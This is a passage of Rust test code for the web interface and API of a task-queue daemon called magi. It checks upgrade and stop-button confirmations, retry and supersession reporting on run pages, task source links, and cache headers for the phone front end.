13848        ui.start_loop(None).expect("start");
13849        ui.park_for_upgrade().expect("park");
13850        ui.stop_loop(None, false).expect("stop");
13851        assert!(!handed_over(&home, ui).await);
13852    }
13853
13854    #[tokio::test]
13855    async fn an_idle_loop_stays_stopped_across_the_handover() {
13856        let home = TempDir::new().expect("temp home");
13857        let ui = idle_ui(&home);
13858        ui.park_for_upgrade().expect("park");
13859        assert!(!handed_over(&home, ui).await);
13860
13861        let successor = idle_ui(&home);
13862        assert!(!successor.resume_after_handover(false));
13863        assert!(!successor.loop_view(None).running);
13864    }
13865
13866    #[tokio::test]
13867    async fn a_loop_the_operator_stopped_is_not_resumed() {
13868        let home = TempDir::new().expect("temp home");
13869        let ui = idle_ui(&home);
13870        ui.start_loop(None).expect("start");
13871        ui.stop_loop(None, false).expect("stop");
13872        ui.park_for_upgrade().expect("park");
13873        assert!(!handed_over(&home, ui).await);
13874    }
13875
13876    #[test]
13877    fn only_an_explicit_one_requests_a_resume() {
13878        assert!(!resume_requested(None));
13879        assert!(!resume_requested(Some("0".into())));
13880        assert!(!resume_requested(Some("".into())));
13881        assert!(resume_requested(Some("1".into())));
13882    }
13883
13884    #[test]
13885    fn the_upgrade_button_arms_before_it_restarts_anything() {
13886        // It ends the process the operator is talking to, and a phone in a
13887        // pocket taps things. One tap arms, the second commits.
13888        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13889        assert!(APP_JS.contains("Replace the binary and restart?"));
13890        assert!(APP_JS.contains("function confirmed("));
13891        // Hidden when the loop is somebody else's, matching the 409 above -
13892        // and hidden with nothing to install, matching the 200 "already
13893        // current" branch: an operator on the newest build must not be
13894        // offered a restart that would only park a run for nothing.
13895        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13896        // A park waits for the node in flight, up to an hour for an implement
13897        // wave. Leaving the button reading "Upgrading…" for that long is the
13898        // same mistake as an error rendered off screen: it looks wedged.
13899        assert!(
13900            APP_JS.contains("Parking, then restarting"),
13901            "the button says what it is waiting for"
13902        );
13903        // And nothing to install must give the button back rather than
13904        // pretending a restart is coming.
13905        assert!(APP_JS.contains("if (!out.to)"));
13906    }
13907
13908    #[test]
13909    fn stopping_the_loop_arms_but_starting_does_not() {
13910        // A stray tap must not leave the queue stopped overnight, so a stop is
13911        // two taps through the same helper the upgrade uses; a start stays one.
13912        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13913        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13914        assert!(APP_JS.contains("confirmed(button, question)"));
13915        // The label put back on timeout is the one saved when arming, not a
13916        // hard-coded upgrade caption that would rename the stop button.
13917        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
13918        assert!(APP_JS.contains("const label = btn.textContent;"));
13919        assert!(!APP_JS.contains("Neither direction is guarded"));
13920    }
13921
13922    #[test]
13923    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13924        assert!(
13925            APP_JS.contains("state.health.version"),
13926            "the operator wants to know what is running even with nothing newer"
13927        );
13928        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13929    }
13930
13931    #[test]
13932    fn the_upgrade_button_names_its_destination() {
13933        assert!(
13934            APP_JS.contains("`Update to ${update.to}`"),
13935            "pressing the button should not be a surprise about what it moves to"
13936        );
13937    }
13938
13939    #[test]
13940    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13941        for stage in ["downloading", "replaced", "parking", "restarting"] {
13942            assert!(
13943                APP_JS.contains(&format!("\"{stage}\"")),
13944                "the phone must be able to tell {stage} apart from the others"
13945            );
13946        }
13947        assert!(APP_JS.contains(".waiting_on"));
13948        // What replaced the bare "Cannot reach magi: Failed to fetch": a
13949        // fetch failing while an upgrade is in flight is not an error, it is
13950        // the sub-second gap `bind_waiting` covers, and it must not be
13951        // reported as one.
13952        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13953        assert!(APP_JS.contains("reconnects on its own"));
13954    }
13955
13956    #[test]
13957    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13958        // `Stage::Failed` is terminal on the server and nothing clears it on
13959        // its own - not a fresh start, not time passing - so a full-strip
13960        // takeover for it (the way the busy stages take the strip over,
13961        // correctly, because those are transient) would have hidden
13962        // start/stop/park behind an upgrade notice with no way back short of
13963        // a person editing `upgrade.json` by hand or a later release
13964        // happening to succeed. The failure must instead ride along as a note
13965        // next to whatever control the loop's own state already offers.
13966        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13967            ..APP_JS.find("function upgrade(").expect("upgrade")];
13968        assert!(
13969            !body.contains(
13970                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
13971            ),
13972            "a failed upgrade must not take the whole strip over the way it used to"
13973        );
13974        assert!(
13975            body.contains("upgradeFailNote"),
13976            "the failure has to reach the loop's own note instead"
13977        );
13978        // `quiet` and `control` are the only two places `loop-why` is set from
13979        // this function's own state; both must carry the note through, or a
13980        // future edit to either one would silently drop it again.
13981        assert_eq!(
13982            body.matches("upgradeFailNote].filter(Boolean).join")
13983                .count(),
13984            2,
13985            "both loop-why writers (quiet and control) must fold the note in"
13986        );
13987    }
13988
13989    #[test]
13990    fn an_overdue_upgrade_eventually_asks_for_a_human() {
13991        // The ceiling has to clear a full hour-long park with room to spare,
13992        // or an ordinary implement wave would be reported as a stuck upgrade.
13993        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13994        assert!(APP_JS.contains("function upgradeOverdue("));
13995    }
13996
13997    #[test]
13998    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13999        assert!(
14000            APP_JS.contains("Updated to ${upgradeInfo.to"),
14001            "the operator who asked for the restart wants to know it worked"
14002        );
14003    }
14004
14005    #[test]
14006    fn an_error_is_visible_from_where_the_button_is() {
14007        // The alert used to sit in the flow under the header. On a phone
14008        // scrolled 13 500 px down to a run's action sheet that is off screen,
14009        // so tapping Resume and being told "the loop is running run b455
14010        // right now" looked exactly like a button that did nothing.
14011        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14012            ..APP_CSS.find(".alert-text").expect(".alert-text")];
14013        assert!(
14014            alert.contains("position: fixed"),
14015            "an error about the thing under your thumb has to be visible from \
14016             where your thumb is: {alert}"
14017        );
14018        assert!(
14019            alert.contains("z-index: 25"),
14020            "above the dock (20) and the run-actions FAB (15), so neither \
14021             buries it: {alert}"
14022        );
14023        assert!(
14024            alert.contains("var(--tap)"),
14025            "and clear of the dock and the home indicator: {alert}"
14026        );
14027        // The FAB sits at the same height on the right. An error that covered
14028        // it would hide the button the operator reaches for next.
14029        assert!(
14030            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14031            "the FAB's column stays free: {alert}"
14032        );
14033    }
14034
14035    #[tokio::test]
14036    async fn an_older_attempt_says_what_replaced_it() {
14037        let fx = Fixture::start().await;
14038        let q = fx.queue();
14039        let runs = fx.runs();
14040        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14041        write_run(&runs, first, RunStatus::Stalled);
14042        write_run(&runs, second, RunStatus::Blocked);
14043
14044        let mut t = Task::new(
14045            "one task".to_owned(),
14046            "do it".to_owned(),
14047            PathBuf::from("/repo"),
14048            Source::Human,
14049        );
14050        t.runs = vec![first.to_owned(), second.to_owned()];
14051        q.put(&mut t).expect("put");
14052
14053        // Two cards with the same title and no hint which is which was the
14054        // question: "why are there two of the same, one stalled and one
14055        // blocked?" The older one now names its replacement.
14056        let rows = fx.get("/api/runs").await.json();
14057        let by = |short: &str| -> Value {
14058            rows.as_array()
14059                .unwrap()
14060                .iter()
14061                .find(|r| r["short"] == short)
14062                .cloned()
14063                .unwrap_or(Value::Null)
14064        };
14065        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14066        assert!(
14067            by("bbbb")["superseded_by"].is_null(),
14068            "the latest attempt is not superseded by anything"
14069        );
14070        // Front end: the note has to be rendered, not just carried.
14071        assert!(APP_JS.contains("run.superseded_by"));
14072        assert!(APP_JS.contains("Superseded by"));
14073    }
14074
14075    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14076        let mut t = Task::new(
14077            "one task".to_owned(),
14078            "do it".to_owned(),
14079            PathBuf::from("/repo"),
14080            Source::Human,
14081        );
14082        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14083        t.status = status;
14084        t
14085    }
14086
14087    #[test]
14088    fn source_link_picks_the_page_that_filed_the_task() {
14089        let agent = |node: &str| Source::Agent {
14090            run: "20260904-014455-ab12".to_owned(),
14091            node: node.to_owned(),
14092        };
14093        let chat = source_link(&agent("chat")).expect("chat link");
14094        assert_eq!(chat.kind, "chat");
14095        assert_eq!(chat.id, "20260904-014455-ab12");
14096        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14097        let run = source_link(&agent("implement")).expect("run link");
14098        assert_eq!(
14099            (run.kind, run.href.as_str()),
14100            ("run", "#/runs/20260904-014455-ab12")
14101        );
14102        assert_eq!(source_link(&Source::Human), None);
14103        assert_eq!(
14104            source_link(&Source::Issue {
14105                number: 3,
14106                repo: "o/r".to_owned()
14107            }),
14108            None
14109        );
14110        let odd = source_link(&Source::Agent {
14111            run: "a b/c".to_owned(),
14112            node: "chat".to_owned(),
14113        })
14114        .expect("link");
14115        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14116    }
14117
14118    #[test]
14119    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14120        assert!(
14121            !APP_JS.contains("src.node === \"chat\""),
14122            "inline href rule is back"
14123        );
14124        assert!(
14125            APP_JS.matches("sourceLinkOf(").count() >= 4,
14126            "helper must serve every page"
14127        );
14128        assert!(
14129            APP_JS.matches("openChatLink(").count() >= 3,
14130            "the run page still needs its explicit chat link"
14131        );
14132        assert!(
14133            !APP_JS.contains("const openChat = el("),
14134            "the Queue card duplicates its source label link again"
14135        );
14136        assert!(
14137            APP_JS.contains("metaKids.push(link ? el(\"a\""),
14138            "the task page must link a chat source label too"
14139        );
14140    }
14141
14142    #[test]
14143    fn task_ref_carries_the_source_link_for_a_chat_task() {
14144        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14145        t.source = Source::Agent {
14146            run: "20260904-014455-ab12".to_owned(),
14147            node: "chat".to_owned(),
14148        };
14149        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14150        let v = serde_json::to_value(&out).expect("json");
14151        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14152        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14153        assert_eq!(v["source_label"], t.source.label());
14154
14155        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14156        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14157            .expect("json");
14158        assert!(v["source_link"].is_null(), "{v}");
14159    }
14160
14161    #[test]
14162    fn task_view_serializes_source_link() {
14163        let mut t = Task::new(
14164            "t".to_owned(),
14165            "t".to_owned(),
14166            PathBuf::from("/repo"),
14167            Source::Agent {
14168                run: "20260901-000000-aaaa".to_owned(),
14169                node: "implement".to_owned(),
14170            },
14171        );
14172        t.runs.clear();
14173        let v = serde_json::to_value(TaskView::from(t)).expect("json");
14174        assert_eq!(v["source_link"]["kind"], "run", "{v}");
14175        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14176    }
14177
14178    #[tokio::test]
14179    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14180        let fx = Fixture::start().await;
14181        let runs = fx.runs();
14182        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14183        write_run(&runs, old, RunStatus::Blocked);
14184        write_run(&runs, new, RunStatus::Merged);
14185        let mut t = outcome_task(&[old, new], TaskStatus::Done);
14186        fx.queue().put(&mut t).expect("put");
14187
14188        let view = fx.get(&format!("/api/runs/{old}")).await.json();
14189        let task = &view["task"];
14190        assert_eq!(task["status"], "done");
14191        assert_eq!(task["is_latest"], false);
14192        assert_eq!(task["latest"]["short"], "bbbb");
14193        assert_eq!(task["finished_by"]["id"], new);
14194        assert_eq!(task["finished_by"]["outcome"], "merged");
14195        assert_eq!(task["closed_by_hand"], false);
14196        assert_eq!(view["status"], "blocked", "the run keeps its own status");
14197        assert!(APP_JS.contains("finished_by"));
14198        assert!(APP_JS.contains("superseded by run"));
14199    }
14200
14201    #[tokio::test]
14202    async fn the_latest_run_reports_a_held_task_without_a_successor() {
14203        let fx = Fixture::start().await;
14204        let runs = fx.runs();
14205        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14206        write_run(&runs, old, RunStatus::Stalled);
14207        write_run(&runs, new, RunStatus::Blocked);
14208        let mut t = outcome_task(&[old, new], TaskStatus::Held);
14209        fx.queue().put(&mut t).expect("put");
14210
14211        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14212        assert_eq!(task["status"], "held");
14213        assert_eq!(task["is_latest"], true);
14214        assert!(task["latest"].is_null());
14215        assert!(task["finished_by"].is_null());
14216        assert_eq!(task["closed_by_hand"], false);
14217    }
14218
14219    #[tokio::test]
14220    async fn a_direct_run_has_no_task_outcome() {
14221        let fx = Fixture::start().await;
14222        let runs = fx.runs();
14223        let id = "20260901-000000-aaaa";
14224        write_run(&runs, id, RunStatus::Blocked);
14225        let view = fx.get(&format!("/api/runs/{id}")).await.json();
14226        assert!(view["task"].is_null());
14227    }
14228
14229    #[test]
14230    fn task_outcome_does_not_guess_a_finishing_run() {
14231        let a = "20260901-000000-aaaa";
14232        let b = "20260901-000000-bbbb";
14233        let c = "20260901-000000-cccc";
14234        let dir = tempfile::tempdir().expect("tempdir");
14235        write_run(dir.path(), a, RunStatus::Blocked);
14236        write_run(dir.path(), b, RunStatus::VerifiedNoop);
14237        // `c` has no record: unreadable.
14238        let read = |id: &str| read_run(dir.path(), id).ok();
14239        // Neither a blocked run nor a no-op finished the task; the newest run is
14240        // unreadable and still named.
14241        let t = outcome_task(&[a, b, c], TaskStatus::Done);
14242        let out = task_outcome(&t, a, 3, read);
14243        assert!(out.finished_by.is_none());
14244        assert!(out.closed_by_hand);
14245        let latest = out.latest.expect("latest");
14246        assert_eq!(latest.id, c);
14247        assert_eq!(latest.status, None);
14248        assert_eq!(latest.outcome, "record unreadable");
14249
14250        // A Ready run settles the task as done, so it is named as the finisher.
14251        write_run(dir.path(), c, RunStatus::Ready);
14252        let t = outcome_task(&[a, c], TaskStatus::Done);
14253        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14254        assert_eq!(out.finished_by.expect("finisher").id, c);
14255        assert!(!out.closed_by_hand);
14256
14257        // A resumed run id repeats: it is still the latest by id.
14258        let t = outcome_task(&[a, b, a], TaskStatus::Held);
14259        assert!(task_outcome(&t, a, 3, read).is_latest);
14260    }
14261
14262    #[tokio::test]
14263    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14264        // The list route has known this since the card fix above; the detail
14265        // route — what an operator actually opens from a notification about
14266        // a blocked run — did not, and went on showing a bare red BLOCKED
14267        // chip for a run a retry had already finished.
14268        let fx = Fixture::start().await;
14269        let q = fx.queue();
14270        let runs = fx.runs();
14271        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14272        write_run(&runs, first, RunStatus::Blocked);
14273        write_run(&runs, second, RunStatus::Merged);
14274
14275        let mut t = Task::new(
14276            "one task".to_owned(),
14277            "do it".to_owned(),
14278            PathBuf::from("/repo"),
14279            Source::Human,
14280        );
14281        t.runs = vec![first.to_owned(), second.to_owned()];
14282        q.put(&mut t).expect("put");
14283
14284        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14285        assert_eq!(earlier["superseded_by"], "dddd");
14286        assert_eq!(earlier["latest_attempt"]["id"], second);
14287        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14288        assert_eq!(
14289            earlier["latest_attempt"]["resolved"], true,
14290            "the run that replaced it landed, so this one reads as settled"
14291        );
14292
14293        let later = fx.get(&format!("/api/runs/{second}")).await.json();
14294        assert!(
14295            later["superseded_by"].is_null(),
14296            "the latest attempt is not superseded by anything"
14297        );
14298        assert!(
14299            later["latest_attempt"].is_null(),
14300            "the latest attempt has no later attempt of its own"
14301        );
14302
14303        // Front end: the detail page has to read the field this route now
14304        // carries, downgrade the chip, and link to the run that replaced it —
14305        // not just repeat the list card's own logic under a different name.
14306        // The link is built off `latest_attempt.id`, the server-resolved
14307        // full id, never a bare short string a client would have to guess a
14308        // full run from.
14309        assert!(APP_JS.contains("run.latest_attempt"));
14310        assert!(APP_JS.contains("data-superseded"));
14311        assert!(APP_JS.contains("#/runs/${latest.id}"));
14312    }
14313
14314    #[tokio::test]
14315    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14316        // A -> B -> C, all Blocked except the last. A's immediate successor
14317        // (superseded_by) is B, which is itself unresolved; what an operator
14318        // opening A's page actually needs is where the task's story stands
14319        // *now* - C, not B - without depending on whether C happens to be in
14320        // whatever page of /api/runs the client last cached.
14321        let fx = Fixture::start().await;
14322        let q = fx.queue();
14323        let runs = fx.runs();
14324        let (a, b, c) = (
14325            "20260901-000000-aaaa",
14326            "20260901-000000-bbbb",
14327            "20260901-000000-cccc",
14328        );
14329        write_run(&runs, a, RunStatus::Blocked);
14330        write_run(&runs, b, RunStatus::Blocked);
14331        write_run(&runs, c, RunStatus::Merged);
14332
14333        let mut t = Task::new(
14334            "retried twice".to_owned(),
14335            "do it".to_owned(),
14336            PathBuf::from("/repo"),
14337            Source::Human,
14338        );
14339        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14340        q.put(&mut t).expect("put");
14341
14342        let view = fx.get(&format!("/api/runs/{a}")).await.json();
14343        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14344        assert_eq!(
14345            view["latest_attempt"]["id"], c,
14346            "the chain's current head, not the intermediate Blocked retry"
14347        );
14348        assert_eq!(view["latest_attempt"]["resolved"], true);
14349
14350        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14351        assert_eq!(mid["latest_attempt"]["id"], c);
14352        assert_eq!(mid["latest_attempt"]["resolved"], true);
14353    }
14354
14355    #[tokio::test]
14356    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14357        let fx = Fixture::start().await;
14358        let q = fx.queue();
14359        let runs = fx.runs();
14360
14361        // Still Blocked: the task is not resolved, so the older run must not
14362        // read as settled either.
14363        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14364        write_run(&runs, still_blocked_a, RunStatus::Blocked);
14365        write_run(&runs, still_blocked_b, RunStatus::Blocked);
14366        let mut t1 = Task::new(
14367            "still stuck".to_owned(),
14368            "do it".to_owned(),
14369            PathBuf::from("/repo"),
14370            Source::Human,
14371        );
14372        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14373        q.put(&mut t1).expect("put");
14374        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14375        assert_eq!(view1["latest_attempt"]["resolved"], false);
14376        assert_eq!(view1["latest_attempt"]["status"], "blocked");
14377        assert_eq!(view1["latest_attempt"]["done"], true);
14378
14379        // Still running: the successor exists and must be reported as such.
14380        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14381        write_run(&runs, run_a, RunStatus::Blocked);
14382        write_run(&runs, run_b, RunStatus::Implementing);
14383        let mut t3 = Task::new(
14384            "retrying".to_owned(),
14385            "do it".to_owned(),
14386            PathBuf::from("/repo"),
14387            Source::Human,
14388        );
14389        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14390        q.put(&mut t3).expect("put");
14391        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14392        assert_eq!(view3["latest_attempt"]["id"], run_b);
14393        assert_eq!(view3["latest_attempt"]["resolved"], false);
14394        assert_eq!(view3["latest_attempt"]["done"], false);
14395
14396        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
14397        // to check - not a confirmed finish, so this must not read as
14398        // resolved either, even though the run is done in the sense that
14399        // nothing is still running.
14400        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14401        write_run(&runs, noop_a, RunStatus::Blocked);
14402        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14403        let mut t2 = Task::new(
14404            "claims done".to_owned(),
14405            "do it".to_owned(),
14406            PathBuf::from("/repo"),
14407            Source::Human,
14408        );
14409        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14410        q.put(&mut t2).expect("put");
14411        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14412        assert_eq!(
14413            view2["latest_attempt"]["resolved"], false,
14414            "an unverified no-op claim must not read as a confirmed finish"
14415        );
14416
14417        // Front end: an unresolved successor must not carry the "finished
14418        // this work" note or the muted chip treatment.
14419        assert!(APP_JS.contains("latest.resolved"));
14420        // ...but the link to it shows as soon as it exists, labelled by state
14421        // and without the "finished" wording or the muted chip.
14422        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14423        assert!(APP_JS.contains("Latest attempt: "));
14424        assert!(APP_JS.contains("in flight"));
14425        assert!(APP_JS.contains("not resolved"));
14426    }
14427
14428    #[tokio::test]
14429    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14430        let fx = Fixture::start().await;
14431        // No cache header at all meant browsers invented their own policy,
14432        // and one did: a phone went on showing "Candidates must be folded
14433        // before deleting. Run `magi fold` first." - deleted two releases
14434        // earlier - from a deck that no longer contained the sentence. The
14435        // button it named was right there, and unreachable.
14436        let js = fx.get("/app.js").await;
14437        assert_eq!(js.status, 200);
14438        let tag = js
14439            .header("etag")
14440            .expect("an etag to revalidate against")
14441            .to_owned();
14442        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14443        assert_eq!(
14444            js.header("cache-control"),
14445            Some("no-cache, must-revalidate"),
14446            "the phone has to ask every time"
14447        );
14448
14449        // And the asking has to be cheap, or `must-revalidate` just means
14450        // "send the whole interface on every load".
14451        let again = fx
14452            .get_with("/app.js", &[("if-none-match", tag.as_str())])
14453            .await;
14454        assert_eq!(
14455            again.status, 304,
14456            "a deck it already has costs one round trip"
14457        );
14458        assert!(again.body.is_empty(), "304 carries no body");
14459
14460        // A weakened tag from a proxy still matches; a different build does
14461        // not, which is the case that has to deliver the new interface.
14462        let weak = fx
14463            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14464            .await;
14465        assert_eq!(weak.status, 304);
14466        let stale = fx
14467            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14468            .await;
14469        assert_eq!(stale.status, 200, "an older build must be replaced");
14470        assert!(stale.body.contains("renderRunActions"));
14471    }
14472
14473    #[test]
14474    fn the_task_detail_has_an_actions_fab_and_sheet() {
14475        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14476        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14477        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14478        // Shown only on the task route, closed everywhere else.
14479        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14480        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14481        // Refreshed whenever the detail redraws, including the loading state.
14482        assert!(APP_JS.contains("renderTaskActions(task);"));
14483        assert!(APP_JS.contains("renderTaskActions(null);"));
14484        // Same renderers and routes as the Queue card, no new endpoint.
14485        let sheet = APP_JS
14486            .find("function renderTaskActions")
14487            .expect("sheet renderer");
14488        let body = &APP_JS[sheet..sheet + 3000];
14489        assert!(body.contains("changePriority("));
14490        assert!(body.contains("openTaskEdit(task)"));
14491        assert!(body.contains("renderTaskHoldBox(host"));
14492        assert!(body.contains("renderTaskDoneBox(host"));
14493        assert!(body.contains("renderTaskDeleteBox(host"));
14494        assert!(APP_JS.contains("API.priority(id)"));
14495        assert!(APP_JS.contains("API.deleteTask(id)"));
14496        // A deleted task sends the operator back to the queue.
14497        assert!(APP_JS.contains("location.hash = \"#/queue\""));
14498        // A refusal is shown inside the sheet.
14499        assert!(APP_JS.contains("$(\"task-actions-error\")"));
14500    }
14501
14502    #[test]
14503    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14504        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14505        let actions = INDEX_HTML
14506            .find("id=\"run-actions-box\"")
14507            .expect("actions box");
14508        assert!(task < actions, "the task entry comes first in the sheet");
14509        assert!(APP_JS.contains("renderRunTaskEntry"));
14510        assert!(APP_JS.contains("\"Open task \""));
14511        // A run without a task says why there is nothing to open.
14512        assert!(APP_JS.contains("started directly, no task"));
14513        assert!(APP_JS.contains("sheet-task-link"));
14514        assert!(APP_JS.contains("task-chip-link"));
14515    }
14516
14517    #[test]
14518    fn the_deck_never_sends_the_operator_to_a_terminal() {
14519        // The whole point of the phone UI is that a terminal is not needed.
14520        // The delete control used to answer with "Run `magi fold` first."
14521        assert!(
14522            !APP_JS.contains("Run `magi fold` first"),
14523            "the deck must offer the fold, not prescribe a shell command"
14524        );
14525        assert!(APP_JS.contains("foldRun:"));
14526        assert!(APP_JS.contains("resumeRun:"));
14527        assert!(APP_JS.contains("renderRunActions"));
14528
14529        // Folding is destructive and armed in two steps, like deleting.
14530        assert!(APP_JS.contains("armedFold"));
14531        assert!(APP_JS.contains("Yes, fold worktrees"));
14532
14533        // And the copy has to say that the two actions are opposites, because
14534        // folding throws away exactly what a resume would continue from.
14535        assert!(APP_JS.contains("can no longer be resumed"));
14536    }
14537
14538    #[test]
14539    fn a_finished_run_explains_itself_with_its_own_last_line() {
14540        // The deck used to answer "why did this stop?" with a sentence chosen
14541        // by status alone. Run e633 stalled because two judges answered with
14542        // the wrong JSON shape and its card said "The panel collapsed on
14543        // agent quota" - with `quota: []` in the record and a quota-loss
14544        // counter right above it that correctly said nothing.
14545        assert!(
14546            !APP_JS.contains("collapsed on agent quota"),
14547            "a stall must not be explained by a cause the deck did not check"
14548        );
14549        assert!(
14550            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14551            "and a block must not offer a guess with an `or` in it"
14552        );
14553
14554        // The reason it does have is `run.event`, which must reach finished
14555        // runs: gating it on movement hid the recorded truth at the one moment
14556        // the operator is reading the card to find out what happened.
14557        assert!(
14558            APP_JS.contains("setText(r.event, run.event || \"\")"),
14559            "the run's last line is rendered unconditionally"
14560        );
14561        assert!(
14562            !APP_JS.contains("moving && run.event"),
14563            "and never gated on the run still moving"
14564        );
14565
14566        // Quota keeps its own counter, fed by the number actually recorded.
14567        assert!(APP_JS.contains("lost to quota"));
14568    }
14569
14570    /// The runs tree (section) and the state chips (waiting/done) are two
14571    /// independent lenses ANDed together in `renderRuns`, and some pairings
14572    /// can never both be true for any run - every "Landed"/"Ended" run is
14573    /// done by construction, so pairing either with "Active" or "In flight"
14574    /// always rendered zero cards with the filter bar still claiming
14575    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
14576    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
14577    /// a handful of (waiting, status) shapes standing in for the run
14578    /// lifecycle, because `cargo test` cannot execute the front end.
14579    ///
14580    /// That stand-in list is itself the part that drifted twice in review:
14581    /// once shipped with `waiting: true` paired with a done status the
14582    /// lifecycle cannot produce, then over-corrected into treating every
14583    /// waiting run as never done - which made "Waiting on you" look
14584    /// incompatible with "Done" even for the one real, reachable shape
14585    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
14586    /// that combination. This test parses the shapes and the done-rule back
14587    /// out of `APP_JS`, reimplements `runSection` and the five state
14588    /// predicates independently in Rust, and checks the resulting
14589    /// section/filter compatibility table against the lifecycle rules by
14590    /// hand - so either direction of drift fails it again.
14591    #[test]
14592    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14593        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14594        let shapes_body_start =
14595            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14596        let shapes_close = APP_JS[shapes_body_start..]
14597            .find("].map(")
14598            .expect("the shape list is closed by its done-computing .map(...)")
14599            + shapes_body_start;
14600        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14601
14602        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14603        for entry in shapes_src.split('{').skip(1) {
14604            let waiting = entry.contains("waiting: true");
14605            let dead = entry.contains("live: \"dead\"");
14606            let status_at =
14607                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14608            let status_end = entry[status_at..]
14609                .find('"')
14610                .expect("the status string is closed")
14611                + status_at;
14612            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14613        }
14614        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14615
14616        // The done rule itself (`!["implementing"].includes(shape.status)`),
14617        // read out of the source rather than hardcoded, so a renamed
14618        // in-flight status can't silently make every parsed shape "done".
14619        let done_rule_marker = "done: !";
14620        let done_rule_at = APP_JS[shapes_close..]
14621            .find(done_rule_marker)
14622            .expect("the done rule follows the shape list")
14623            + shapes_close
14624            + done_rule_marker.len();
14625        let includes_at = APP_JS[done_rule_at..]
14626            .find(".includes(shape.status)")
14627            .expect("the done rule ends in .includes(shape.status)")
14628            + done_rule_at;
14629        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14630            .trim()
14631            .trim_start_matches('[')
14632            .trim_end_matches(']')
14633            .split(',')
14634            .map(|s| s.trim().trim_matches('"'))
14635            .filter(|s| !s.is_empty())
14636            .collect();
14637
14638        let shapes: Vec<(bool, String, bool, bool)> = shapes
14639            .into_iter()
